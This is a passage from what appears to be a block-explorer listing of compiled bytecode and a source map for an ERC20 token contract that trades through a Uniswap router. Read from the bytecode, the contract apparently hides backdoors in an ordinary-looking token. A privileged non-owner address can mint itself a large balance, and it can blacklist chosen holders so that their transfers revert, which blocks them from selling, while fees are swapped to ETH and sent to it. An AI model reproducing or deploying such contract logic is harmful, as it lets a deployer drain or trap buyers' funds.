08152506118d2565b905092915050565b6000611f1483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f7a565b905092915050565b6000808284611f2b91906126ac565b905083811015611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6790612527565b60405180910390fd5b8091505092915050565b60008083118290611fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb891906124c5565b60405180910390fd5b5060008385611fd09190612702565b9050809150509392505050565b600081359050611fec81612c10565b92915050565b60008151905061200181612c10565b92915050565b60008083601f84011261201d5761201c612a0e565b5b8235905067ffffffffffffffff81111561203a57612039612a09565b5b60208301915083602082028301111561205657612055612a13565b5b9250929050565b60008135905061206c81612c27565b92915050565b60008135905061208181612c3e565b92915050565b60006020828403121561209d5761209c612a1d565b5b60006120ab84828501611fdd565b91505092915050565b6000602082840312156120ca576120c9612a1d565b5b60006120d884828501611ff2565b91505092915050565b600080604083850312156120f8576120f7612a1d565b5b600061210685828601611fdd565b925050602061211785828601611fdd565b9150509250929050565b60008060006060848603121561213a57612139612a1d565b5b600061214886828701611fdd565b935050602061215986828701611fdd565b925050604061216a86828701612072565b9150509250925092565b6000806040838503121561218b5761218a612a1d565b5b600061219985828601611fdd565b92505060206121aa85828601612072565b9150509250929050565b6000806000604084860312156121cd576121cc612a1d565b5b60006121db8682870161205d565b935050602084013567ffffffffffffffff8111156121fc576121fb612a18565b5b61220886828701612007565b92509250509250925092565b6000612220838361223b565b60208301905092915050565b612235816127d3565b82525050565b612244816127c1565b82525050565b612253816127c1565b82525050565b600061226482612667565b61226e818561268a565b935061227983612657565b8060005b838110156122aa5781516122918882612214565b975061229c8361267d565b92505060018101905061227d565b5085935050505092915050565b6122c0816127e5565b82525050565b6122cf81612828565b82525050565b6122de8161283a565b82525050565b60006122ef82612672565b6122f9818561269b565b9350612309818560208601612870565b61231281612a22565b840191505092915050565b600061232a60238361269b565b915061233582612a33565b604082019050919050565b600061234d60228361269b565b915061235882612a82565b604082019050919050565b6000612370601b8361269b565b915061237b82612ad1565b602082019050919050565b600061239360218361269b565b915061239e82612afa565b604082019050919050565b60006123b660208361269b565b91506123c182612b49565b602082019050919050565b60006123d960258361269b565b91506123e482612b72565b604082019050919050565b60006123fc60248361269b565b915061240782612bc1565b604082019050919050565b61241b81612811565b82525050565b61242a8161281b565b82525050565b6000602082019050612445600083018461224a565b92915050565b6000602082019050612460600083018461222c565b92915050565b600060408201905061247b600083018561224a565b612488602083018461224a565b9392505050565b60006020820190506124a460008301846122b7565b92915050565b60006020820190506124bf60008301846122c6565b92915050565b600060208201905081810360008301526124df81846122e4565b905092915050565b600060208201905081810360008301526125008161231d565b9050919050565b6000602082019050818103600083015261252081612340565b9050919050565b6000602082019050818103600083015261254081612363565b9050919050565b6000602082019050818103600083015261256081612386565b9050919050565b60006020820190508181036000830152612580816123a9565b9050919050565b600060208201905081810360008301526125a0816123cc565b9050919050565b600060208201905081810360008301526125c0816123ef565b9050919050565b60006020820190506125dc6000830184612412565b92915050565b600060a0820190506125f76000830188612412565b61260460208301876122d5565b81810360408301526126168186612259565b9050612625606083018561224a565b6126326080830184612412565b9695505050505050565b60006020820190506126516000830184612421565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126b782612811565b91506126c283612811565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126f7576126f661291e565b5b828201905092915050565b600061270d82612811565b915061271883612811565b9250826127285761272761294d565b5b828204905092915050565b600061273e82612811565b915061274983612811565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127825761278161291e565b5b828202905092915050565b600061279882612811565b91506127a383612811565b9250828210156127b6576127b561291e565b5b828203905092915050565b60006127cc826127f1565b9050919050565b60006127de826127f1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128338261284c565b9050919050565b600061284582612811565b9050919050565b60006128578261285e565b9050919050565b6000612869826127f1565b9050919050565b60005b8381101561288e578082015181840152602081019050612873565b8381111561289d576000848401525b50505050565b600060028204905060018216806128bb57607f821691505b602082108114156128cf576128ce61297c565b5b50919050565b60006128e082612811565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129135761291261291e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c19816127c1565b8114612c2457600080fd5b50565b612c30816127e5565b8114612c3b57600080fd5b50565b612c4781612811565b8114612c5257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be8eb05cc5c62ad295ec57c598bfc7fc68a4cae515d63f4bec34d6db3e39077264736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610437578063c5d2418914610474578063c816841b1461049f578063c8607952146104ca578063dd62ed3e146104f5578063f2fde38b1461053257610140565b806370a082311461033c5780638da5cb5b146103795780638fe91510146103a4578063943ec94f146103cf57806395d89b411461040c57610140565b8063313ce567116100fd578063313ce567146102405780633345611e1461026b57806336464f71146102a85780633ecad271146102bf57806365ff6df9146102fc5780636b14a4701461031357610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61055b565b60405161016791906124c5565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612174565b6105ed565b6040516101a4919061248f565b60405180910390f35b3480156101b957600080fd5b506101c261060b565b6040516101cf91906124aa565b60405180910390f35b3480156101e457600080fd5b506101ed610631565b6040516101fa91906125c7565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612121565b61063b565b604051610237919061248f565b60405180910390f35b34801561024c57600080fd5b50610255610715565b604051610262919061263c565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612087565b61072c565b60405161029f919061248f565b60405180910390f35b3480156102b457600080fd5b506102bd61074c565b005b3480156102cb57600080fd5b506102e660048036038101906102e19190612087565b610849565b6040516102f3919061248f565b60405180910390f35b34801561030857600080fd5b50610311610869565b005b34801561031f57600080fd5b5061033a600480360381019061033591906121b4565b610c41565b005b34801561034857600080fd5b50610363600480360381019061035e9190612087565b610d40565b60405161037091906125c7565b60405180910390f35b34801561038557600080fd5b5061038e610d89565b60405161039b9190612430565b60405180910390f35b3480156103b057600080fd5b506103b9610db2565b6040516103c6919061244b565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612087565b610dd8565b604051610403919061248f565b60405180910390f35b34801561041857600080fd5b50610421610df8565b60405161042e91906124c5565b60405180910390f35b34801561044357600080fd5b5061045e60048036038101906104599190612174565b610e8a565b60405161046b919061248f565b60405180910390f35b34801561048057600080fd5b50610489610ea9565b60405161049691906125c7565b60405180910390f35b3480156104ab57600080fd5b506104b4610eaf565b6040516104c19190612430565b60405180910390f35b3480156104d657600080fd5b506104df610ed5565b6040516104ec91906125c7565b60405180910390f35b34801561050157600080fd5b5061051c600480360381019061051791906120e1565b610edb565b60405161052991906125c7565b60405180910390f35b34801561053e57600080fd5b5061055960048036038101906105549190612087565b610f62565b005b60606001805461056a906128a3565b80601f0160208091040260200160405190810160405280929190818152602001828054610596906128a3565b80156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b5050505050905090565b60006106016105fa6110b4565b84846110bc565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b6000610648848484611287565b5061070a846106556110b4565b61070585604051806060016040528060288152602001612c5660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106bb6110b4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d29092919063ffffffff16565b6110bc565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107a657600080fd5b6107c26108956107b4610631565b61193690919063ffffffff16565b625b46e36107d091906126ac565b60046000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084091906126ac565b92505081905550565b60086020528060005260406000206000915054906101000a900460ff1681565b6108716110b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f590612567565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561095d57600080fd5b505afa158015610971573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099591906120b4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109f757600080fd5b505afa158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2f91906120b4565b6040518363ffffffff1660e01b8152600401610a4c929190612466565b602060405180830381600087803b158015610a6657600080fd5b505af1158015610a7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9e91906120b4565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9b57600080fd5b60005b82829050811015610d3a578360096000858585818110610cc157610cc06129ab565b5b9050602002016020810190610cd69190612087565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d32906128d5565b915050610c9e565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b606060028054610e07906128a3565b80601f0160208091040260200160405190810160405280929190818152602001828054610e33906128a3565b8015610e805780601f10610e5557610100808354040283529160200191610e80565b820191906000526020600020905b815481529060010190602001808311610e6357829003601f168201915b5050505050905090565b6000610e9e610e976110b4565b8484611287565b506001905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6a6110b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90612567565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611123906125a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561119c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119390612507565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161127a91906125c7565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ef90612587565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f906124e7565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113bf57600080fd5b600d60009054906101000a900460ff16156113e6576113df8484846119b1565b90506118cb565b60006113f130610d40565b9050600d60009054906101000a900460ff1615801561145a5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114695761146881611b84565b5b6114bb83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115a15750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115ae578390506117ca565b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116315761162a606461161c600a548861193690919063ffffffff16565b611ed290919063ffffffff16565b90506116af565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116ae576116ab606461169d600b548861193690919063ffffffff16565b611ed290919063ffffffff16565b90505b5b60008111156117b35761170a81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1c90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117aa91906125c7565b60405180910390a35b6117c68186611e8890919063ffffffff16565b9150505b61181c81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1c90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118bc91906125c7565b60405180910390a36001925050505b9392505050565b600083831115829061191a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191191906124c5565b60405180910390fd5b5060008385611929919061278d565b9050809150509392505050565b60008083141561194957600090506119ab565b600082846119579190612733565b90508284826119669190612702565b146119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d90612547565b60405180910390fd5b809150505b92915050565b6000611a3c826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d29092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ad182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b7191906125c7565b60405180910390a3600190509392505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bbc57611bbb6129da565b5b604051908082528060200260200182016040528015611bea5781602001602082028036833780820191505090505b5090503081600081518110611c0257611c016129ab565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ca457600080fd5b505afa158015611cb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cdc91906120b4565b81600181518110611cf057611cef6129ab565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d5730600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110bc565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dbb9594939291906125e2565b600060405180830381600087803b158015611dd557600080fd5b505af1925050508015611de6575060015b611def57611df0565b5b60004790506000811115611e6857600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e66573d6000803e3d6000fd5b505b50506000600d60006101000a81548160ff02191690831515021790555050565b6000611eca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118d2565b905092915050565b6000611f1483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f7a565b905092915050565b6000808284611f2b91906126ac565b905083811015611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6790612527565b60405180910390fd5b8091505092915050565b60008083118290611fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb891906124c5565b60405180910390fd5b5060008385611fd09190612702565b9050809150509392505050565b600081359050611fec81612c10565b92915050565b60008151905061200181612c10565b92915050565b60008083601f84011261201d5761201c612a0e565b5b8235905067ffffffffffffffff81111561203a57612039612a09565b5b60208301915083602082028301111561205657612055612a13565b5b9250929050565b60008135905061206c81612c27565b92915050565b60008135905061208181612c3e565b92915050565b60006020828403121561209d5761209c612a1d565b5b60006120ab84828501611fdd565b91505092915050565b6000602082840312156120ca576120c9612a1d565b5b60006120d884828501611ff2565b91505092915050565b600080604083850312156120f8576120f7612a1d565b5b600061210685828601611fdd565b925050602061211785828601611fdd565b9150509250929050565b60008060006060848603121561213a57612139612a1d565b5b600061214886828701611fdd565b935050602061215986828701611fdd565b925050604061216a86828701612072565b9150509250925092565b6000806040838503121561218b5761218a612a1d565b5b600061219985828601611fdd565b92505060206121aa85828601612072565b9150509250929050565b6000806000604084860312156121cd576121cc612a1d565b5b60006121db8682870161205d565b935050602084013567ffffffffffffffff8111156121fc576121fb612a18565b5b61220886828701612007565b92509250509250925092565b6000612220838361223b565b60208301905092915050565b612235816127d3565b82525050565b612244816127c1565b82525050565b612253816127c1565b82525050565b600061226482612667565b61226e818561268a565b935061227983612657565b8060005b838110156122aa5781516122918882612214565b975061229c8361267d565b92505060018101905061227d565b5085935050505092915050565b6122c0816127e5565b82525050565b6122cf81612828565b82525050565b6122de8161283a565b82525050565b60006122ef82612672565b6122f9818561269b565b9350612309818560208601612870565b61231281612a22565b840191505092915050565b600061232a60238361269b565b915061233582612a33565b604082019050919050565b600061234d60228361269b565b915061235882612a82565b604082019050919050565b6000612370601b8361269b565b915061237b82612ad1565b602082019050919050565b600061239360218361269b565b915061239e82612afa565b604082019050919050565b60006123b660208361269b565b91506123c182612b49565b602082019050919050565b60006123d960258361269b565b91506123e482612b72565b604082019050919050565b60006123fc60248361269b565b915061240782612bc1565b604082019050919050565b61241b81612811565b82525050565b61242a8161281b565b82525050565b6000602082019050612445600083018461224a565b92915050565b6000602082019050612460600083018461222c565b92915050565b600060408201905061247b600083018561224a565b612488602083018461224a565b9392505050565b60006020820190506124a460008301846122b7565b92915050565b60006020820190506124bf60008301846122c6565b92915050565b600060208201905081810360008301526124df81846122e4565b905092915050565b600060208201905081810360008301526125008161231d565b9050919050565b6000602082019050818103600083015261252081612340565b9050919050565b6000602082019050818103600083015261254081612363565b9050919050565b6000602082019050818103600083015261256081612386565b9050919050565b60006020820190508181036000830152612580816123a9565b9050919050565b600060208201905081810360008301526125a0816123cc565b9050919050565b600060208201905081810360008301526125c0816123ef565b9050919050565b60006020820190506125dc6000830184612412565b92915050565b600060a0820190506125f76000830188612412565b61260460208301876122d5565b81810360408301526126168186612259565b9050612625606083018561224a565b6126326080830184612412565b9695505050505050565b60006020820190506126516000830184612421565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126b782612811565b91506126c283612811565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126f7576126f661291e565b5b828201905092915050565b600061270d82612811565b915061271883612811565b9250826127285761272761294d565b5b828204905092915050565b600061273e82612811565b915061274983612811565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127825761278161291e565b5b828202905092915050565b600061279882612811565b91506127a383612811565b9250828210156127b6576127b561291e565b5b828203905092915050565b60006127cc826127f1565b9050919050565b60006127de826127f1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006128338261284c565b9050919050565b600061284582612811565b9050919050565b60006128578261285e565b9050919050565b6000612869826127f1565b9050919050565b60005b8381101561288e578082015181840152602081019050612873565b8381111561289d576000848401525b50505050565b600060028204905060018216806128bb57607f821691505b602082108114156128cf576128ce61297c565b5b50919050565b60006128e082612811565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156129135761291261291e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612c19816127c1565b8114612c2457600080fd5b50565b612c30816127e5565b8114612c3b57600080fd5b50565b612c4781612811565b8114612c5257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be8eb05cc5c62ad295ec57c598bfc7fc68a4cae515d63f4bec34d6db3e39077264736f6c63430008070033

Deployed Bytecode Sourcemap

3703:6455:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5263:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5754:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5215:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5356:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8207:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5628:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4081:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6911:143;;;;;;;;;;;;;:::i;:::-;;4138:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7553:467;;;;;;;;;;;;;:::i;:::-;;6660:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5501:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1381:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3964:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4190:46;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5923:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8030:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4245:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5719:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4287:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7400:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1587:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5263:83;5300:13;5333:5;5326:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5263:83;:::o;5754:161::-;5829:4;5846:39;5855:12;:10;:12::i;:::-;5869:7;5878:6;5846:8;:39::i;:::-;5903:4;5896:11;;5754:161;;;;:::o;5215:41::-;;;;;;;;;;;;;:::o;5356:100::-;5409:7;5436:12;;5429:19;;5356:100;:::o;8207:313::-;8305:4;8322:36;8332:6;8340:9;8351:6;8322:9;:36::i;:::-;;8369:121;8378:6;8386:12;:10;:12::i;:::-;8400:89;8438:6;8400:89;;;;;;;;;;;;;;;;;:11;:19;8412:6;8400:19;;;;;;;;;;;;;;;:33;